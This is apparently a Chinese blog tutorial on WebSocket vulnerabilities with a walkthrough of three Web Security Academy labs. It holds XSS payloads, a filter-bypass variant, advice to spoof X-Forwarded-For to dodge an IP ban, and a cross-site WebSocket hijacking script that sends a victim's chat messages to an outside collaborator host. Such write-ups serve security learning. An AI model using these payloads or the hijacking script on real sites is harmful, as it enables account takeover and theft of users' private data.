WebSocket安全漏洞

一、基础知识

1. 什么是WebSocket

WebSocket是通过HTTP启动的双向、全双工通信协议。它们通常用于流式传输数据和其他异步流量的现代Web应用程序中。最常见的是网站中的聊天机器人

2. 与HTTP的区别

WebSocket连接是通过HTTP发起,通常是长期存在的。消息可以随时向任何一个方向发送,并且本质上不是事务性的。连接通常保持打开和空闲状态,直到客户端或服务器发送消息。
WebSocket在需要低延迟或服务器发起消息的情况下特别有用,例如金融数据的实时馈送。

使用HTTP时,客户端发送请求,服务器返回响应。通常响应立即发生,事务完成。即使网络连接保持打开,请求和响应也是单独的事务。这一点和websocket本质上不同。

3. WebSocket 链接建立过程

  • client-side JavaScript 用于定义链接

var ws = new WebSocket("wss://normal-website.com/chat");

  • 浏览器发出WebSocket握手请求
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
  • 返回WebSocket握手响应
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
  • 网络连接保持打开状态,可用于在任一方向上发送WebSocket消息。

ws.send("Peter Wiener"); //客户端发送消息
{"user":"Hal Pline","content":"I wanted to be a Playstation growing up, not a device to answer your inane questions"} //通常JSON格式回复信息

4. 使用工具操作WebSocket流量

(1)拦截和修改WebSocket消息
(2)重播和生成新的WebSocket消息
(3)操纵WebSocket连接

二、漏洞利用

任何WEB安全问题都会出现在WebSockets中

  • SQL 注入
  • OAST
  • XSS

1. 篡改WebSocket消息内容

正常的信息交互如下:
{"message":"Hello Carlos"} 显示结果为 <td>Hello Carlos</td>
若无过滤,信息可修改为
{"message":"<img src=1 onerror='alert(1)'>"}

例题1

2. 操纵WebSocket握手以利用漏洞

某些WebSockets漏洞只能通过操纵WebSocket握手来发现和利用。这些漏洞往往涉及设计缺陷,

  • 错误信任HTTP标头以执行安全决策,例如X-Forwarded-For标头。
  • 会话处理机制存在缺陷,因为处理WebSocket消息的会话上下文通常由握手消息的会话上下文确定。
  • 由应用程序使用的自定义HTTP标头引入的攻击面。

例题2

3. 跨站点WebSocket劫持 (CSWSH)

WebSocket握手上存在跨站点请求伪造(CSRF)漏洞时,可以构造跨站点WebSocket劫持攻击。

不要忘了CSRF三要素哈

CSWSH的影响

  • 伪装成受害用户执行未经授权的操作。
  • 检索用户可以访问的敏感数据。(与传统的CSRF不同,通过被劫持的WebSocket与易受攻击的应用程序进行双向交互。)

攻击构造

  • 检查应用程序执行的WebSocket握手,并确定它们是否受到CSRF的保护。(三要素)
  • 攻击者的网页可以执行跨站点请求,以打开目标站点上的WebSocket。
  • 依据具体的实现逻辑尝试
    • 伪装成用户执行未授权操作
    • 发送WebSocket消息以检索敏感数据。
    • 只是等待包含敏感数据的传入消息

例题3

三、漏洞实例

1. 操纵WebSocket消息以利用漏洞(Manipulating WebSocket messages to exploit vulnerabilities)

本题及其简单,仅仅是熟悉Burp如何拦截使用WebSocket的操作而已。或者直接使用网站页面直接输入即可。
<img src=1 onerror=alert(1)>

2. 纵WebSocket握手以利用漏洞(Manipulating the WebSocket handshake to exploit vulnerabilities

按上题思路尝试,发现IP被封。关键字 ()JavaScript onerror 等被禁
(1)X-Forwarded-For更新IP后,可重新连接
(2)反单引号、大小写绕过等技术
{"message":"<img src=1 oNErRor=alert1>"}

3. 跨站点WebSocket劫持(Cross-site WebSocket hijacking

目标:获取目标用户聊天记录,获取登录账号口令等敏感信息,登录其账户。
(1)查看WebSocket相关信息

GET /chat HTTP/1.1
Host: ac351fbb1f9283b3c0951a8f008900c7.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Sec-WebSocket-Version: 13
Origin: https://ac351fbb1f9283b3c0951a8f008900c7.web-security-academy.net
Sec-WebSocket-Key: YMjuNMYTvLI96SD0GLDM0A==
Connection: keep-alive, Upgrade
Cookie: session=81Q5ZYqw7qoiHwleuELCxRHqOM3nQ1z2
Sec-Fetch-Dest: websocket
Sec-Fetch-Mode: websocket
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

(2)利用攻击机发送构造的恶意代码
里面用到了Burp的collaborator(OAST外带技术来接受目标用户的敏感信息)–后续文章将详细介绍burp各相功能,异常强大好用。
将代码使用攻击机发送给目标用户。实施CSRF攻击,让用户建立WebSocket连接。我们使用burp-burpcollaborator查看聊天内容。

<script>  
    var ws = new WebSocket('wss://ac351fbb1f9283b3c0951a8f008900c7.web-security-academy.net/chat');
    ws.onopen = function() {   // wss://聊天机器人页面地址
        ws.send("READY");
    };
    ws.onmessage = function(event) { // 此处url为burp-burpcollaborator的url
        fetch('https://g7o3loj3is5fvrfiwjg9pfuuolubi0.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>
  • 12
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论
WebSocket是一种用于在客户端和服务器之间进行实时双向通信的协议。就安全性而言,WebSocket本身并没有提供任何加密或身份验证机制。因此,在使用WebSocket时,需要采取一些安全措施来确保通信的安全性。 以下是一些常用的WebSocket安全性措施: 1. 使用加密协议:可以使用TLS/SSL(即HTTPS)来加密WebSocket连接。通过使用加密协议,可以确保通信的机密性和完整性。这可以防止中间人攻击或窃听。 2. 身份验证和授权:在建立WebSocket连接之前,要求客户端进行身份验证,并在服务器上进行相应的授权。这样可以确保只有经过身份验证的用户才能建立连接并执行操作。 3. 输入验证和过滤:在服务器端对接收到的消息进行输入验证和过滤,以防止潜在的安全漏洞,如跨站脚本攻击(XSS)或SQL注入攻击。 4. 设定适当的安全策略:服务器可以实施一些安全策略,如限制连接频率、限制连接数等,以防止恶意行为或拒绝服务攻击。 5. 安全地处理敏感数据:如果通过WebSocket传输敏感数据,例如用户凭据或支付信息,确保在传输过程中对数据进行适当的加密和保护。 6. 及时更新和修补安全漏洞:定期更新和修补WebSocket库和相关软件,以确保安全性。及时响应新发现的安全漏洞,并及时更新以防止潜在的攻击。 综上所述,WebSocket安全性取决于实施的安全措施。通过采用加密、身份验证、输入验证和过滤等措施,可以增强WebSocket通信的安全性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Eason_LYC

坚持下去,谢谢你的鼓励!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值